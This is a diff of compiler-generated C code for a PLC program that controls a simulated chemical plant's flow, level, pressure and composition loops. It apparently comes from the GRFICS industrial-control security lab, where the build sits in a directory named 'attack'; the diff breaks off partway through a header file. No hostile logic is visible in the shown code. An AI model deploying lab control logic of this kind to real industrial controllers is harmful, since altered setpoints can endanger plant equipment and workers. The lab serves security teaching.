+ SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// 